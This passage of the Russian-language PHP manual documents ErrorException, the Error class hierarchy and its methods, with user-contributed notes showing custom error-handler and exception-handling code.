  class MyClass {
    public function methodA() {
      echo("methodA:\n");
      strpos();
    }

    public function methodB() {
      echo("methodB:\n");
      trigger_error("warning message form methodB", E_WARNING);
    }

    public function methodC() {
      echo("methodC:\n");
      throw new ErrorException();
    }

    public function methodD() {
      echo("methodD:\n");
      throw new ErrorException('warning message from methodD', 0,
E_WARNING);
    }

    public function run($i) {
        if ($i === 0) {
          $this->methodA();
        } else if ($i === 1) {
          $this->methodB();
        } else if ($i === 2) {
          $this->methodC();
        } else {
          $this->methodD();
        }
    }

    public function test() {
      for ($i = 0; $i < 4; ++$i) {
        try {
            $this->run($i);
        } catch (ErrorException $e) {
          if ($e->getSeverity() === E_ERROR) {
            echo("E_ERROR triggered.\n");
          } else if ($e->getSeverity() === E_WARNING) {
            echo("E_WARNING triggered.\n");
          }
        }
      }
    }
  }

  $myClass = new MyClass();
  $myClass->test();
?>

Please note that methodC() uses (constructor of) class ErrorException with default parameters.

I believe it is the original intention to make $severity having default value of 1, which is exactly equal to E_ERROR.

Using property $code or Exception::getCode() to compare with E_* values could not do the same thing (as in methodC()), as $code has a default value of 0, and class Exception has it too, users may use $code for some other purposes.
triplepoint at gmail dot com 01-Jan-2010 08:16
As noted below, it's important to realize that unless caught, any Exception thrown will halt the script.  So converting EVERY notice, warning, or error to an ErrorException will halt your script when something harmlesss like E_USER_NOTICE is triggered.

It seems to me the best use of the ErrorException class is something like this:

<?php
function custom_error_handler($number, $string, $file, $line, $context)
{
    // Determine if this error is one of the enabled ones in php config (php.ini, .htaccess, etc)
    $error_is_enabled = (bool)($number & ini_get('error_reporting') );

    // -- FATAL ERROR
    // throw an Error Exception, to be handled by whatever Exception handling logic is available in this context
    if( in_array($number, array(E_USER_ERROR, E_RECOVERABLE_ERROR)) && $error_is_enabled ) {
        throw new ErrorException($errstr, 0, $errno, $errfile, $errline);
    }

    // -- NON-FATAL ERROR/WARNING/NOTICE
    // Log the error if it's enabled, otherwise just ignore it
    else if( $error_is_enabled ) {
        error_log( $string, 0 );
        return false; // Make sure this ends up in $php_errormsg, if appropriate
    }
}
?>

Setting this function as the error handler will result in ErrorExceptions only being thrown for E_USER_ERROR and E_RECOVERABLE_ERROR, while other enabled error types will simply get error_log()'ed.

It's worth noting again that no matter what you do, "E_ERROR, E_PARSE, E_CORE_ERROR, E_CORE_WARNING, E_COMPILE_ERROR, E_COMPILE_WARNING, and most of E_STRICT" will never reach your custom error handler, and therefore will not be converted into ErrorExceptions.  Plan accordingly.
randallgirard at hotmail dot com 11-Dec-2009 03:32
E_USER_WARNING, E_USER_NOTICE, and any other non-terminating error codes, are useless and act like E_USER_ERROR (which terminate) when you combine a custom ERROR_HANDLER with ErrorException and do not CATCH the error. There is NO way to return execution to the parent scope in the EXCEPTION_HANDLER.

<?php

    error_reporting(E_ALL);
    define('DEBUG', true);
    define('LINEBREAK', "\r\n");

    error::initiate('./error_backtrace.log');

    try
        trigger_error("First error", E_USER_NOTICE);
    catch ( ErrorException $e )
        print("Caught the error: ".$e->getMessage."<br />\r\n" );

    trigger_error("This event WILL fire", E_USER_NOTICE);

    trigger_error("This event will NOT fire", E_USER_NOTICE);

    abstract class error {

        public static $LIST = array();

        private function __construct() {}

        public static function initiate( $log = false ) {
            set_error_handler( 'error::err_handler' );
            set_exception_handler( 'error::exc_handler' );
            if ( $log !== false ) {
                if ( ! ini_get('log_errors') )
                    ini_set('log_errors', true);
                if ( ! ini_get('error_log') )
                    ini_set('error_log', $log);
            }
        }

        public static function err_handler($errno, $errstr, $errfile, $errline, $errcontext) {
            $l = error_reporting();
            if ( $l & $errno ) {

                $exit = false;
                switch ( $errno ) {
                    case E_USER_ERROR:
                        $type = 'Fatal Error';
                        $exit = true;
                    break;
                    case E_USER_WARNING:
                    case E_WARNING:
                        $type = 'Warning';
                    break;
                    case E_USER_NOTICE:
                    case E_NOTICE:
                    case @E_STRICT:
                        $type = 'Notice';
                    break;
                    case @E_RECOVERABLE_ERROR:
                        $type = 'Catchable';
                    break;
                    default:
                        $type = 'Unknown Error';
                        $exit = true;
                    break;
                }

                $exception = new \ErrorException($type.': '.$errstr, 0, $errno, $errfile, $errline);

                if ( $exit ) {
                    exc_handler($exception);
                    exit();
                }
                else
                    throw $exception;
            }
            return false;
        }

        function exc_handler($exception) {
            $log = $exception->getMessage() . "\n" . $exception->getTraceAsString() . LINEBREAK;
            if ( ini_get('log_errors') )
                error_log($log, 0);
            print("Unhandled Exception" . (DEBUG ? " - $log" : ''));
        }

    }
?>
luke at cywh dot com 23-Feb-2009 11:56
To add to the comments made by chris AT cmbuckley DOT co DOT uk about the ErrorException problem with args:

I noticed that the problem is in the ErrorException class itself, not the Exception class. When using just the exception class, it's no longer an issue. Besides the args problem, the only difference between Exception and ErrorException in the stack trace is that the args are left out of the error handler exception function. I'm not sure if this was on purpose or not, but it shouldn't hurt to show this information anyway.

So instead of using this broken extended class, you can ignore it and make your own extended class and avoid the problem all together:

<?php

header('Content-Type: text/plain');

class ErrorHandler extends Exception {
    protected $severity;

    public function __construct($message, $code, $severity, $filename, $lineno) {
        $this->message = $message;
        $this->code = $code;
        $this->severity = $severity;
        $this->file = $filename;
        $this->line = $lineno;
    }

    public function getSeverity() {
        return $this->severity;
    }
}

function exception_error_handler($errno, $errstr, $errfile, $errline ) {
    throw new ErrorHandler($errstr, 0, $errno, $errfile, $errline);
}

set_error_handler("exception_error_handler", E_ALL);

function A() {
    $foo->bar; // Purposely cause error
}

function B($c) {
    A();
}

try {
    B('foobar');
} catch (Exception $e) {
    var_dump($e->getTrace());
}

?>

The only thing I wish I could do was remove the entry for the error handler function because it's quite irrelevant. Maybe that's what they were trying to do with the ErrorException class? Either way, you can't change it because the trace functions are final, and the variable is private.


Создаёт исключение

  • « ErrorException
  • ErrorException::getSeverity »
  • PHP Manual
  • ErrorException
  • Создаёт исключение

ErrorException::__construct

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ErrorException::__construct — Создаёт исключение

Описание

public ErrorException::__construct(
string $message = "",
int $code = 0,
int $severity = E_ERROR,
?string $filename = null,
?int $line = null,
?Throwable $previous = null
)

Создаёт исключение.

Список параметров

message

Текст исключения.

code

Код исключения.

severity

Уровень серьёзности исключения.

Замечание:

В то время, как уровень серьёзности может быть любым целым числом (int), предполагается, что для её указания будут использованы константы ошибок.

filename

Имя файла, где вызвано исключение.

line

Номер строки, где вызвано исключение.

previous

Предыдущее исключение. Используется для создания цепочки исключений.

Список изменений

Версия | Описание
8.0.0 | filename и line теперь допускают значение null. Ранее их значениями по умолчанию были __FILE__ и __LINE__, соответственно.

User Contributed Notes

There are no user contributed notes for this page.


Получает серьёзность исключения

  • « ErrorException::__construct
  • Error »
  • PHP Manual
  • ErrorException
  • Получает серьёзность исключения

ErrorException::getSeverity

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ErrorException::getSeverity — Получает серьёзность исключения

Описание

final public ErrorException::getSeverity(): int

Возвращает серьёзность исключения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает уровень серьёзности исключения.

Примеры

Пример #1 Пример использования ErrorException::getSeverity()

<?php
try {
throw new ErrorException("Сообщение об исключении", 0, E_USER_ERROR);
} catch(ErrorException $e) {
echo "Серьёзность этого исключения равна: " . $e->getSeverity();
var_dump($e->getSeverity() === E_USER_ERROR);
}
?>

Результатом выполнения данного примера будет что-то подобное:

Серьёзность этого исключения равна: 256
bool(true)

User Contributed Notes

cyjimmy264 at gmail dot com 12-Apr-2017 10:46
function friendly_severity($severity) {
    $names = [];

    $consts = array_flip(
        array_slice(
            get_defined_constants(true)['Core'], 0, 15, true));

    foreach ($consts as $code => $name) {
        if ($severity & $code) $names []= $name;
    }

    return join(' | ', $names);
}
fgaab 08-Mar-2010 06:38
Try this as replacement for error_reporting(...)

<?php
    function exception_error_handler($errno, $errstr, $errfile, $errline ) {
        $severity =
            1 * E_ERROR |
            1 * E_WARNING |
            0 * E_PARSE |
            0 * E_NOTICE |
            0 * E_CORE_ERROR |
            0 * E_CORE_WARNING |
            0 * E_COMPILE_ERROR |
            0 * E_COMPILE_WARNING |
            0 * E_USER_ERROR |
            0 * E_USER_WARNING |
            0 * E_USER_NOTICE |
            0 * E_STRICT |
            0 * E_RECOVERABLE_ERROR |
            0 * E_DEPRECATED |
            0 * E_USER_DEPRECATED;
        $ex = new ErrorException($errstr, 0, $errno, $errfile, $errline);
        if (($ex->getSeverity() & $severity) != 0) {
                       throw $ex;
                }
    }
    set_error_handler("exception_error_handler");
?>


Error

(PHP 7, PHP 8)

Введение

Error - базовый класс для всех внутренних ошибок PHP.

Обзор классов

class Error implements Throwable {
/* Свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Методы */
public __construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public getMessage(): string
final public getPrevious(): ?Throwable
final public getCode(): int
final public getFile(): string
final public getLine(): int
final public getTrace(): array
final public getTraceAsString(): string
public __toString(): string
private __clone(): void
}

Свойства

message

Сообщение об ошибке

code

Код ошибки

file

Имя файла, в котором произошла ошибка

line

Номер строки, в которой произошла ошибка

previous

Ранее выброшенное исключение

string

Строковое представление трассировки стека

trace

Трассировка стека в виде массива

Содержание

  • Error::__construct — Создаёт объект класса Error
  • Error::getMessage — Получает сообщение об ошибке
  • Error::getPrevious — Возвращает предыдущий Throwable
  • Error::getCode — Возвращает код ошибки
  • Error::getFile — Получает файл, в котором произошла ошибка
  • Error::getLine — Получает номер строки, в которой произошла ошибка
  • Error::getTrace — Получает трассировку стека
  • Error::getTraceAsString — Получает трассировку стека в виде строки
  • Error::__toString — Строковое представление ошибки
  • Error::__clone — Клонирует ошибку

User Contributed Notes

dams at php dot net 22-Jan-2022 03:45
Lists of Throwable and Exception tree as of 8.1.0

Error
   ArithmeticError
      DivisionByZeroError
   AssertionError
   CompileError
      ParseError
   FiberError
   TypeError
      ArgumentCountError
   UnhandledMatchError
   ValueError
Exception
   ClosedGeneratorException
   DOMException
   ErrorException
   IntlException
   JsonException
   LogicException
      BadFunctionCallException
         BadMethodCallException
      DomainException
      InvalidArgumentException
      LengthException
      OutOfRangeException
   PharException
   ReflectionException
   RuntimeException
      OutOfBoundsException
      OverflowException
      PDOException
      RangeException
      UnderflowException
      UnexpectedValueException
   SodiumException

Find the script and output in the following links:
https://gist.github.com/mlocati/249f07b074a0de339d4d1ca980848e6a
https://3v4l.org/f8Boe

Initially posted by whysteepy at gmail dot com for PHP 7.2.0, based on the gist
whysteepy at gmail dot com 28-Jan-2018 07:53
Lists of Throwable and Exception tree as of 7.2.0

    Error
      ArithmeticError
        DivisionByZeroError
      AssertionError
      ParseError
      TypeError
        ArgumentCountError
    Exception
      ClosedGeneratorException
      DOMException
      ErrorException
      IntlException
      LogicException
        BadFunctionCallException
          BadMethodCallException
        DomainException
        InvalidArgumentException
        LengthException
        OutOfRangeException
      PharException
      ReflectionException
      RuntimeException
        OutOfBoundsException
        OverflowException
        PDOException
        RangeException
        UnderflowException
        UnexpectedValueException
      SodiumException

Find the script and output in the following links:
https://gist.github.com/mlocati/249f07b074a0de339d4d1ca980848e6a
https://3v4l.org/sDMsv

posted here http://php.net/manual/en/class.throwable.php
JustinasMalkas 08-Dec-2015 08:13
If after PHP upgrade you're getting error "PHP Fatal error:  Cannot declare class error, because the name is already in use ...", you will have to rename your "error" class.
Since PHP 7 classname "Error" is predefined and used internally.


Создаёт объект класса Error

  • « Error
  • Error::getMessage »
  • PHP Manual
  • Error
  • Создаёт объект класса Error

Error::__construct

(PHP 7, PHP 8)

Error::__construct — Создаёт объект класса Error

Описание

public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)

Создаёт объект класса Error.

Список параметров

message

Сообщение об ошибке.

code

Код ошибки.

previous

Предыдущий объект, реализующий интерфейс throwable, используется для создания цепочки исключений.

Примечания

Замечание:

Значение message НЕ является безопасным для бинарных данных, то есть в тексте сообщения нельзя использовать символ с кодом \0.

User Contributed Notes

There are no user contributed notes for this page.


Получает сообщение об ошибке

  • « Error::__construct
  • Error::getPrevious »
  • PHP Manual
  • Error
  • Получает сообщение об ошибке

Error::getMessage

(PHP 7, PHP 8)

Error::getMessage — Получает сообщение об ошибке

Описание

final public Error::getMessage(): string

Возвращает сообщение об ошибке.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает сообщение об ошибке в виде строки.

Примеры

Пример #1 Пример использования Error::getMessage()

<?php
try {
throw new Error("Страшная ошибка");
} catch(Error $e) {
echo $e->getMessage();
}
?>

Результатом выполнения данного примера будет что-то подобное:

Страшная ошибка

Смотрите также

  • Throwable::getMessage() - Получает сообщение ошибки

User Contributed Notes

There are no user contributed notes for this page.


Возвращает предыдущий Throwable

  • « Error::getMessage
  • Error::getCode »
  • PHP Manual
  • Error
  • Возвращает предыдущий Throwable

Error::getPrevious

(PHP 7, PHP 8)

Error::getPrevious — Возвращает предыдущий Throwable

Описание

final public Error::getPrevious(): ?Throwable

Возвращает предыдущий объект Throwable (третий параметр конструктора Error::__construct()).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает предыдущий объект Throwable, если он есть, и null, если его нет.

Примеры

Пример #1 Пример использования Error::getPrevious()

Проход и печать цепи исключений.

<?php
class MyCustomError extends Error {}

function doStuff() {
try {
throw new InvalidArgumentError("Вы делаете это неправильно!", 112);
} catch(Error $e) {
throw new MyCustomError("Что-то случилось", 911, $e);
}
}

try {
doStuff();
} catch(Error $e) {
do {
printf("%s:%d %s (%d) [%s]\n", $e->getFile(), $e->getLine(), $e->getMessage(), $e->getCode(), get_class($e));
} while($e = $e->getPrevious());
}
?>

Результатом выполнения данного примера будет что-то подобное:

/home/bjori/ex.php:8 Что-то случилось (911) [MyCustomError]
/home/bjori/ex.php:6 Вы делаете это неправильно! (112) [InvalidArgumentError]

Смотрите также

  • Throwable::getPrevious() - Возвращает предыдущий Throwable

User Contributed Notes

There are no user contributed notes for this page.


Возвращает код ошибки

  • « Error::getPrevious
  • Error::getFile »
  • PHP Manual
  • Error
  • Возвращает код ошибки

Error::getCode

(PHP 7, PHP 8)

Error::getCode — Возвращает код ошибки

Описание

final public Error::getCode(): int

Возвращает код ошибки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает код ошибки типа int

Примеры

Пример #1 Пример использованияError::getCode()

<?php
try {
throw new Error("Какое-то сообщение об ошибке", 30);
} catch(Error $e) {
echo "Код ошибки: " . $e->getCode();
}
?>

Результатом выполнения данного примера будет что-то подобное:

Код ошибки: 30

Смотрите также

  • Throwable::getCode() - Возвращает код исключения

User Contributed Notes

There are no user contributed notes for this page.


Получает файл, в котором произошла ошибка

  • « Error::getCode
  • Error::getLine »
  • PHP Manual
  • Error
  • Получает файл, в котором произошла ошибка

Error::getFile

(PHP 7, PHP 8)

Error::getFile — Получает файл, в котором произошла ошибка

Описание

final public Error::getFile(): string

Получить имя файла, в котором произошла ошибка.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает имя файла, в котором произошла ошибка.

Примеры

Пример #1 Пример использования Error::getFile()

<?php
try {
throw new Error;
} catch(Error $e) {
echo $e->getFile();
}
?>

Результатом выполнения данного примера будет что-то подобное:

/home/bjori/tmp/ex.php

Смотрите также

  • Throwable::getFile() - Возвращает файл, в котором выброшено исключение

User Contributed Notes

There are no user contributed notes for this page.


Получает номер строки, в которой произошла ошибка

  • « Error::getFile
  • Error::getTrace »
  • PHP Manual
  • Error
  • Получает номер строки, в которой произошла ошибка

Error::getLine

(PHP 7, PHP 8)

Error::getLine — Получает номер строки, в которой произошла ошибка

Описание

final public Error::getLine(): int

Получить номер строки, в которой произошла ошибка.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает номер строки, в которой произошла ошибка.

Примеры

Пример #1 Пример использованияError::getLine()

<?php
try {
throw new Error("Какое-то сообщение об ошибке");
} catch(Error $e) {
echo "Ошибка создана в строке: " . $e->getLine();
}
?>

Результатом выполнения данного примера будет что-то подобное:

Ошибка создана в строке: 3

Смотрите также

  • Throwable::getLine() - Получает строку скрипта, в которой данный объект был выброшен

User Contributed Notes

There are no user contributed notes for this page.


Получает трассировку стека

  • « Error::getLine
  • Error::getTraceAsString »
  • PHP Manual
  • Error
  • Получает трассировку стека

Error::getTrace

(PHP 7, PHP 8)

Error::getTrace — Получает трассировку стека

Описание

final public Error::getTrace(): array

Возвращает трассировку стека.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает трассировку стека в виде массива (array).

Примеры

Пример #1 Пример использования Error::getTrace()

<?php
function test() {
throw new Error;
}

try {
test();
} catch(Error $e) {
var_dump($e->getTrace());
}
?>

Результатом выполнения данного примера будет что-то подобное:

array(1) {
  [0]=>
  array(4) {
    ["file"]=>
    string(22) "/home/bjori/tmp/ex.php"
    ["line"]=>
    int(7)
    ["function"]=>
    string(4) "test"
    ["args"]=>
    array(0) {
    }
  }
}

Смотрите также

  • Throwable::getTrace() - Возвращает трассировку стека

User Contributed Notes

There are no user contributed notes for this page.


Получает трассировку стека в виде строки

  • « Error::getTrace
  • Error::__toString »
  • PHP Manual
  • Error
  • Получает трассировку стека в виде строки

Error::getTraceAsString

(PHP 7, PHP 8)

Error::getTraceAsString — Получает трассировку стека в виде строки

Описание

final public Error::getTraceAsString(): string

Возвращает трассировку стека в виде строки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает трассировку стека в виде строки.

Примеры

Пример #1 Пример использования Error::getTraceAsString()

<?php
function test() {
throw new Error;
}

try {
test();
} catch(Error $e) {
echo $e->getTraceAsString();
}
?>

Результатом выполнения данного примера будет что-то подобное:

#0 /home/bjori/tmp/ex.php(7): test()
#1 {main}

Смотрите также

  • Throwable::getTraceAsString() - Получает результаты трассировки стека в виде строки

User Contributed Notes

There are no user contributed notes for this page.


Строковое представление ошибки

  • « Error::getTraceAsString
  • Error::__clone »
  • PHP Manual
  • Error
  • Строковое представление ошибки

Error::__toString

(PHP 7, PHP 8)

Error::__toString — Строковое представление ошибки

Описание

public Error::__toString(): string

Возвращает строковое (string) представление ошибки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строковое (string) представление ошибки.

Примеры

Пример #1 Пример использования Error::__toString()

<?php
try {
throw new Error("Сообщение об ошибке");
} catch(Error $e) {
echo $e;
}
?>

Результатом выполнения данного примера будет что-то подобное:

Error: Сообщение об ошибке in /home/bjori/tmp/ex.php:3
Stack trace:
#0 {main}

Смотрите также

  • Throwable::__toString() - Получает строковое представление выброшенного объекта

User Contributed Notes

There are no user contributed notes for this page.


Клонирует ошибку

  • « Error::__toString
  • ArgumentCountError »
  • PHP Manual
  • Error
  • Клонирует ошибку

Error::__clone

(PHP 7, PHP 8)

Error::__clone — Клонирует ошибку

Описание

private Error::__clone(): void

Объект класса Error нельзя клонировать, так что эта функция вызовет фатальную ошибку.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Объект класса Error нельзя клонировать.

Список изменений

Версия | Описание
8.1.0 | Метод Error::__clone() больше не является окончательным (final).

User Contributed Notes

There are no user contributed notes for this page.


ArgumentCountError

(PHP 7 >= PHP 7.1.0, PHP 8)

Введение

ArgumentCountError выбрасывается, когда в пользовательский метод или функцию передано недостаточное количество аргументов.

Эта ошибка также выбрасывается, если в невариативную встроенную функцию передаётся слишком много аргументов.

Обзор классов

class ArgumentCountError extends TypeError {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

User Contributed Notes

T7To7 31-Mar-2018 01:01
Note if an invalid number of arguments are passed to a built-in function an ArgumentCountError exception will be thrown if and only if your code is in strict mode.

<?php
declare(strict_types = 1);

try {
    echo strlen('ahmed', 4);
} catch (ArgumentCountError $e) {
    echo $e->getMessage()';
}
?>


ArithmeticError

(PHP 7, PHP 8)

Введение

ArithmeticError выбрасывается, когда возникает ошибка при выполнении математических операций. Такие ошибки возможно спровоцировать побитовым смещением на отрицательное значение или вызовом функции intdiv(), приводящей значение, не входящее в допустимый интервал целых чисел (int).

Обзор классов

class ArithmeticError extends Error {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

User Contributed Notes

nima dot shirinzadeh at gmail dot com 12-Oct-2020 05:45
the first example shifted by the positive number and the result is 4, but the second example shifted by the negative number and the result is ArithmeticError(this example is the same for left shift)
<?php

 $shif =1;
 $number = 8;
 $result =  $number >> $shif;
 echo $result; //// 1000 >> 01000 = 4

$shif =-1;
 $number = 8;
 $result =  $number >> $shif;
 ////result is ArithmeticError
?>


AssertionError

(PHP 7, PHP 8)

Введение

AssertionError выбрасывается, когда утверждение, сделанное с помощью assert(), терпит неудачу.

Обзор классов

class AssertionError extends Error {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


DivisionByZeroError

(PHP 7, PHP 8)

Введение

DivisionByZeroError выбрасывается при попытке поделить число на ноль.

Обзор классов

class DivisionByZeroError extends ArithmeticError {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

User Contributed Notes

8ctopus 03-Dec-2020 08:21
Use of arithmetic operator / does not throw an exception in php 7, while it does in php 8.

<?php

try {
    echo intdiv(2, 0);
} catch (DivisionByZeroError $e) {
    echo "Caught DivisionByZeroError!\n";
}

try {
    echo (2 / 0);
} catch (DivisionByZeroError $e) {
    echo "Caught DivisionByZeroError!\n";
}
?>

# php 7
$ php test.php
caught division by zero for intdiv()
PHP Warning:  Division by zero in test.php on line 10
PHP Stack trace:
PHP   1. {main}() test.php:0

Warning: Division by zero in test.php on line 10

Call Stack:
    0.0740     417272   1. {main}() test.php:0

# php 8
$ php test.php

caught division by zero for intdiv()
caught division by zero for /
Alex 08-May-2019 08:55
This error is thrown only for integer division - this is when using "intdiv" function or "%" operator. In all cases you will get an E_WARNING when dividing by zero.
salsi at icosaedro dot it 01-Mar-2016 05:27
Note that on division by zero 1/0 and module by zero 1%0 an E_WARNING is triggered first (probably for backward compatibility with PHP5), then the DivisionByZeroError exception is thrown next.

The result is, for example, that if you set the maximum level of error detection with error_level(-1) and you also map errors to exception, say ErrorException, then on division by zero only this latter exception is thrown reporting "Division by zero". The result is that a code like this:

<?php
// Set a safe environment:
error_reporting(-1);

// Maps errors to ErrorException.
function my_error_handler($errno, $message)
{ throw new ErrorException($message); }

try {
    echo 1/0;
}
catch(ErrorException $e){
    echo "got $e";
}
?>

allows to detect such error in the same way under PHP5 and PHP7, although the DivisionByZeroError exception is masked off by ErrorException.
Manjunath 14-Dec-2015 10:15
<?php
class MathOperation extends Error
{
    protected $n = 10;

    // Try to get the Division by Zero error object and display as Exception
    public function doArithmeticOperation(): string
    {
        try {
            $value = $this->n % 0;
        } catch (DivisionByZeroError $e) {
            return $e->getMessage();
        }
    }
}

$mathOperationObj = new MathOperation();
echo $mathOperationObj->doArithmeticOperation();


CompileError

(PHP 7 > 7.3.0, PHP 8)

Введение

Исключение CompileError выбрасывается при некоторых ошибках компиляции, которые ранее выдавали фатальную ошибку.

Обзор классов

class CompileError extends Error {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


ParseError

(PHP 7, PHP 8)

Введение

ParseError выбрасывается, когда возникает ошибка при разборе PHP-кода, например, когда вызывается функция eval().

Замечание: Начиная с PHP 7.3.0, класс ParseError наследуется от CompileError. Ранее этот класс расширял класс Error.

Обзор классов

class ParseError extends CompileError {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

User Contributed Notes

SixPigPigWikiSix 06-Feb-2023 11:03
The priority of Parse Error should be higher than that of Fatal Error,Parse Error, which has the highest priority among all PHP exceptions. See the following example:
<?php
error_reporting(E_ALL);
test()
//System output a parse error
?>
<?php
error_reporting(E_WARNING);
test()
//System output a parse error
?>
<?php
error_reporting(E_ERROR);
test()
//System output a parse error
?>
<?php
error_reporting(E_PARSE);
test()
//System output a parse error
?>
andrian dot test dot job at gmail dot com 22-Nov-2019 09:58
<?php
/*
* The function eval() evaluate his argument as an instruction PHP
* Then the argument must respect the standar of PHP codage
* In this example the semicolon are missign
*/

try{

    eval("echo 'toto' echo 'tata'");

}catch(ParseError $p){

    echo $p->getMessage();
}

/*
* If you run this code the result is different of the result of above code
* PHP will output the standar parse Error: syntax error, ....
*

eval("echo 'toto' echo 'tata'");

*/


TypeError

(PHP 7, PHP 8)

Введение

Исключение TypeError может быть выброшено, если:

  • Значение, устанавливаемое для свойства класса, не соответствует соответствующему объявленному типу свойства.
  • Тип аргумента, переданного функции, не соответствует типу, объявленному в функции для этого аргумента.
  • Тип возвращённого функцией значения не соответствует типу возврата, объявленному в функции.

Обзор классов

class TypeError extends Error {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

Список изменений

Версия | Описание
7.1.0 | Исключение TypeError больше не выбрасывается, когда во встроенную PHP-функцию в режиме strict type передаётся недопустимое количество аргументов. Вместо этого выбрасывается ArgumentCountError.

User Contributed Notes

celsowmbr at outlook dot com 02-Apr-2019 03:49
An example:

<?php

function test($x):int {
    return $x;
}

try {
    test('ss');
}catch(TypeError $e){
    echo "Error !";
}


ValueError

(PHP 8)

Введение

Ошибка ValueError выбрасывается, если тип аргумента правильный, но его значение неверно. Например, передача отрицательного целого числа, когда функция ожидает положительное, или передача пустой строки/массива, когда функция ожидает, что он не будет пустым.

Обзор классов

class ValueError extends Error {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


UnhandledMatchError

(PHP 8)

Введение

UnhandledMatchError выбрасывается, если субъект, переданный в выражение match, не обрабатывается ни одной из сторон выражения match.

Обзор классов

class UnhandledMatchError extends Error {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


FiberError

(PHP 8 >= 8.1.0)

Введение

FiberError выбрасывает, если в объекте Fiber выполняется недопустимая операция.

Обзор классов

